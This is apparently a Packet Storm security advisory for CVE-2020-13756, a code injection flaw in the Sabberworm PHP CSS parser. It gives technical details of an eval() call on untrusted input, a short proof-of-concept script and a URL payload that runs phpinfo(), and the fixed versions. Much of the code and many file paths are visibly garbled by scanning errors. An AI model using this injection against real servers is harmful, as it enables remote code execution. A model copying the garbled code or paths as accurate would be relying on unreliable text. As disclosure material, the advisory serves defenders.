Search

Home Files News About Contact &[SERVICES_TAB] Add New

Sabberworm PHP CSS Code Injection

Authored by Eldar Marcussen

Posted Jun 3, 2020

Sabberworm PHP CSS parser suffers from a code injection vulnerability. Many versions are affected.

Related Files

Share This

Lik€

Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Downlo
Sabberworm PHP CSS parser - Code injection
Identifiers
* CVE-2020-13756
CVSSv3 score
8.6 - [AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L] (
https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/FR:N/UI:N/S:U/C:R/I:L/A:L&version=3.1)
Vendor
Sabberworm - https://github.com/sabberworm/FHF-CSS-Parser
Product
A Parser for CSS Files written in PHP. Allows extraction of CSS files into a data structure, manipulation of said structure and output as (optimized) CSS.
Affected versions
- All versions prior to the fixed versions listed below
Credit
Eldar Marcussen - justanotherhacker.com
Vulnerability summary
The Sabberworm PRP CSS Parser evaluates uncontrolled data which may result in remote code execution if the affected function is called with attacker controlled data.
Technical details
The function aliselectors in 'ibl/Sabbervom/CSS/CSSList/CSSBlockList.php' on line '64' interpolates untrusted data inside an 'eval()' operation on line '73'. https://github.com/sabbervom/PHP-CSS-pares/rblo/basster/lib/Sabberworm/CSS/CSSList/CSSBlockList.php\$L73
The function 'allSelectors' is called via the function 'getSelectorsBySpecificity' in 'lib/Sabberworm/CSS/CSSList/Document.php'
'getSelectorsBySpecificity' in 'lib/Sabberworm/CSS/CSSList/Document.php' which is the class object returned from the 'parse()' function in 'lib/Sabberworm/CSS/Parser.php'. If an attacker is able to supply or
'lib/Sabberworm/CSS/Parser.php'. If an attacker is able to supply or influence the content of the data passed to the 'allSelectors' or 'getSelectorsBySpecificity' functions, the server will execute attacker controlled code.
"php protected function allSelectors(&SaResult, SaSpecificitySearch = null) {
<pre>\$aDeclarationBlocks = array(); \$this->allDeclarationBlocks(\$aDeclarationBlocks);</pre>
foreach (\$aDeclarationBlocks as \$oBlock) { foreach (\$oBlock->getSelectors() as \$oSelector) {
<pre>if (\$sSpecificitySearch === null) { \$aResult[] = \$oSelector;</pre>
} else {
<pre>\$sSpecificitySearch;";</pre>
<pre>if (\$bRes) { \$aResult[] = \$oSelector;</pre>
}
1
Proof of concept
The following evidence is provided to illustrate the existence and exploitation of this vulnerability:
Save the following code as csspwn.php
php use Sabberworm\CSS\Parser;</td
<pre>\$css="#test .help,\nffile,\n.help:hover,\nli.green,\nol li::before {\nfont-family: Helvetica;\n)";</pre>
<pre>\$oCssParser = new Sabberworm\CSS\Parser(\$css);</pre>
<pre>Soboe = SoCssParser->parse(); Soboe->getSelectorsBySpecificity('> '.\$_GET['n']); 7></pre>
Serve the page via 'php -S 0:8888' then open the following URL: http://localhost:8888/csspwn.php?n=100;phpinfo()
Solution
Upgrade to one of the following versions: 1.0.1 2.0.1
3.0.1 4.0.1
5.0.9 5.1.3



Su	Мо	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					
•	utho		Last	30 D	ays

Top Authors In Last 30 Days	
Red Hat 150 files	
Ubuntu 68 files	
LiquidWorm 23 files	
Debian 16 files	
malvuln 11 files	
nu11secur1ty 11 files	
Gentoo 9 files	
Google Security Research 6 files	
Julien Ahrens 4 files	
T. Weber 4 files	

File Tags	File Archives
ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	Systems
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

01-JUN-2020 | Reported to vendor 01-JUN-2020 | Patch available 02-JUN-2020 | Public disclosure

Login or Register to add favorites

Spoof (2,166) SUSE (1,444) SQL Injection (16,102) Ubuntu (8,199) TCP (2,379) UNIX (9,159) UDP (876) Windows (6,511)

Other

Vulnerability (31,136) Web (9,365) Whitepaper (3,729)

x86 (946) XSS (17,494) Other

Virus (662)

packet storm © 2022 Packet Storm. All rights reserved.

Site Links

News by Month News Tags Files by Month

File Tags
File Directory

Terms of Service Privacy Statement Copyright Information

About Us

History & Purpose

Contact Information

Hosting By

Rokasec

Follow us on Twitter

